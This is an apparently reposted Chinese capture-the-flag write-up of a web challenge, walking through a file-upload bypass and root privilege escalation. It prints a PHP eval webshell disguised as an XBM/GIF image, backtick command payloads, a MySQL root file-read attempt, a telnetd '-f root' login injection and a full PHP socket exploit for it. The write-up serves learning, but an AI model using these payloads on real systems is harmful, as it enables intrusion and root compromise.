上传成功

#define width 1337 和 #define height 1337 让 PHP 的 getimagesize() 认为这是一张合法的 XBM 图片。 Apache 加载这个 .htaccess 时,前两行被视为注释(因为是 # 开头),第三行 AddType... 被正常执行。

其实后面发现,gif头加段标签就能绕过过滤,但那都是后话了

GIF89a
<? @eval($_POST['a']);?>

制作一句话木马图片

Payload 特征:

文件名:shell.jpg (必须是 jpg,为了配合 .htaccess 的解析规则)。 Content-Type:image/jpeg (欺骗 MIME 检查)。 文件内容:使用 #define 开头(欺骗 getimagesize 等函数认为这是 XBM 图片),紧接着放入 PHP 代码一句话木马。

#define width 1337 
#define height 1337
<?php eval($_POST['cmd']); ?>

可以在php代码前后加上

 
可以自动换行

image-20260314162927940

被过滤了,尝试一些变型

一句话木马免杀

都失败了

换成

#define width 1337 
#define height 1337
<pre>
<?= `ls -F /`; ?>

image-20260314164140443

flag1直接cat

再看看start.sh

#define width 1337 #define height 1337
#!/bin/bash
service mariadb start
mysql -u root -e "CREATE DATABASE IF NOT EXISTS ctf_db;"
mysql -u root -e "CREATE USER IF NOT EXISTS 'ctf'@'localhost' IDENTIFIED BY 'ctf';"
mysql -u root -e "GRANT ALL PRIVILEGES ON ctf_db.* TO 'ctf'@'localhost';"
mysql -u root -e "FLUSH PRIVILEGES;"
if [ -f /var/www/html/db.sql ]; then
    mysql -u root ctf_db < /var/www/html/db.sql
fi
if [ ! -z "$GZCTF_FLAG" ]; then
    LEN=${#GZCTF_FLAG}
    PART_LEN=$((LEN / 3))
    
    FLAG1=${GZCTF_FLAG:0:$PART_LEN}
    FLAG2=${GZCTF_FLAG:$PART_LEN:$PART_LEN}
    FLAG3=${GZCTF_FLAG:$((PART_LEN * 2))}
    echo$FLAG1 > /flag1
    chmod 644 /flag1
    echo$FLAG2 > /var/www/html/.flag2_hidden
    chmod 644 /var/www/html/.flag2_hidden
    echo$FLAG3 > /root/flag3
    chmod 600 /root/flag3
    export GZCTF_FLAG=not_here
fi
/usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid
exec apache2-foreground

发现flag 被分成三份

echo$FLAG2 > /var/www/html/.flag2_hidden

flag2权限644可以直接读,顺便找有root权限的程序读flag3

#define width 1337
#define height 1337
<pre>
Type: Flag 2
<?= `cat /var/www/html/.flag2_hidden`; ?>

Type: SUID Files (For Flag 3)
<?= `find / -perm -u=s -type f 2>/dev/null`; ?>
</pre>

拿到flag2

start.sh 脚本

if [ ! -z "$GZCTF_FLAG" ]; then
    ...
    export GZCTF_FLAG=not_here
fi

虽然脚本最后把环境变量修改成了 not_here,但在 Linux 系统中,/proc/1/environ 文件记录的是进程启动时的“原始”环境变量,后续代码中的 export 修改通常不会回写到这个文件中!

也就是说,原始的完整 flag 很可能还躺在 PID 1 进程的初始环境里,而且在很多 Docker 容器中,www-data 用户是有权限读取 /proc/*/environ 的。

图片

图片

没有

/proc/1/environ 空的,说明环境已经被彻底清理了

在看start.sh

图片

有一行命令:mysql -u root -e "CREATE DATABASE ..."

mysql -u root后面没有-p 参 这说明:数据库的 Root 用户没有密码!

在 CTF 和 Docker 环境中,利用数据库的高权限(FILE 权限)来读取系统文件是经典的提权手段。我们可以用 PHP 连接本地数据库,然后执行 SQL 语句 SELECT LOAD_FILE('/root/flag3') 直接把 flag 读出来。

利用 MySQL Root 读取文件

#define width 1337
#define height 1337
<pre>
MySQL Root File Read:
<?php
try {
    $m = new mysqli("127.0.0.1", "root", "");
    if ($m->connect_errno) {
        echo"Connect failed: " . $m->connect_error;
    } else {
        $res = $m->query("SELECT LOAD_FILE('/root/flag3')");
        if ($res) {
            $row = $res->fetch_row();
            var_dump($row[0]);
        } else {
            echo"Query failed.";
        }
    }
} catch (Exception $e) {
    echo$e->getMessage();
}
?>
</pre>

然后失败不行

原因是Exim4 在检测到你使用 -C 指定自定义配置文件时,出于安全考虑,主动降权到了 www-data (uid 33),所以它无法读取 root 拥有的 /root/flag3。这意味着通过 Exim4 直接读文件这条路在当前版本(4.94.2)是被堵死的。

(Xinetd & 进程列表看看)

/root/flag3 的确切权限。

当前系统里到底在运行什么进程(ps -ef)。

xinetd 到底配置了什么服务(读取 /etc/xinetd.d/*)。

查看开放的端口(cat /proc/net/tcp)

<pre>
[File Permissions]
<?= `ls -l /root/flag3`; ?>

[Process List]
<?= `ps -ef`; ?>

[Xinetd Configs]
<?= `grep -r . /etc/xinetd.d/`; ?>

[Listening Ports]
<?= `cat /proc/net/tcp`; ?>
</pre>

image-20260314165326698

在配置服务中找到线索,其他服务都是disable

只有telnet开放

/etc/xinetd.d/telnet:service telnet
/etc/xinetd.d/telnet:{
/etc/xinetd.d/telnet:    disable         = no
/etc/xinetd.d/telnet:    flags           = REUSE
/etc/xinetd.d/telnet:    socket_type     = stream
/etc/xinetd.d/telnet:    wait            = no
/etc/xinetd.d/telnet:    user            = root
/etc/xinetd.d/telnet:    server          = /usr/local/libexec/telnetd
/etc/xinetd.d/telnet:    server_args     = --debug
/etc/xinetd.d/telnet:    log_on_failure  += USERID
/etc/xinetd.d/telnet:    bind            = 0.0.0.0
/etc/xinetd.d/telnet:    type            = UNLISTED
/etc/xinetd.d/telnet:    port            = 23
/etc/xinetd.d/telnet:}

root权限,23端口,/usr/local/libexec/telnetd

豆包告诉我

1. 系统自带的软件
都在这些目录里:
    /sbin/
    /usr/sbin/
    /usr/bin/

2. 手动 / 自定义 / 编译安装的软件
都在这些目录里:
    /usr/local/ ✅
    /usr/local/bin/
    /usr/local/libexec/ ✅
    /opt/...

回想题目描述中说的陈旧服务可能就是这个吧

法一:

旧版本可能存在“环境变量注入漏洞” (CVE-2011-4862)

Telnet 参数注入

原理:telnet 客户端的 -l 参数用于指定登录用户名。在客户端与服务端交互时,这个用户名会通过 USER 环境变量传递给服务端。

漏洞点:服务端 telnetd 接收到用户名后,如果未经过滤直接拼接到 /bin/login 的参数中,就会造成参数注入。

Payload:我们使用用户名 "-f root"。 命令解析过程大致为:/bin/login -p -h-f root

-f 参数:对于 login 程序,-f 表示 “Pre-authenticated”(已验证),即告诉系统用户已经通过了验证,不需要再输入密码。

root:指定登录的用户为 root。

最终 Exploit

构造如下命令,利用管道将后续的操作(查看 flag)自动发送给 telnet 会话:

(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23
#define width 1337
#define height 1337
<pre>
<?= `(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23`; ?>
</pre>

一直加载却不输出,奇怪

蚁剑试试

image-20260314173852910

wk怎么有不可见字符?

<?php
$str = "     ";
echo "ASCII码:";
for($i=0;$i<strlen($str);$i++){
    echo ord($str[$i]) . " ";
}
?>
#输出194 160

我靠居然是全角空格,赶紧换掉

咦怎么还不行

我靠这个echo后怎么没空格?

最终payload

#define width 1337
#define height 1337
<pre>
<?= `(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23`; ?>
</pre>

image-20260314174241404

拿到flag3

法二:CVE-2026-24061

蚁剑写进shell.php

<?php
$s = fsockopen("127.0.0.1", 23);
if(!$s) die();
stream_set_blocking($s, 1);
stream_set_timeout($s, 2);
$p = "\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0";
while(!feof($s)) {
    $c = fgetc($s);
    if($c === false) break;
    if($c == "\xff") {
        $o = fgetc($s);
        if($o == "\xfd") {
            $t = fgetc($s);
            if($t == "\x27") fwrite($s, "\xff\xfb\x27");
            else fwrite($s, "\xff\xfc".$t);
        } elseif($o == "\xfa") {
            if(fgetc($s) == "\x27") {
                while(fgetc($s) != "\xf0");
                fwrite($s, $p);
                sleep(1);
                fwrite($s, "cat /root/flag3\n");
            }
        } elseif($o == "\xfe" || $o == "\xfb" || $o == "\xfc") {
            fgetc($s);
        }
    } else {
        echo $c;
    }
}
fclose($s);
?>

image-20260314172601831

拿到flag3


文章来源:https://www.cnblogs.com/E73RN4L/p/19878937
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云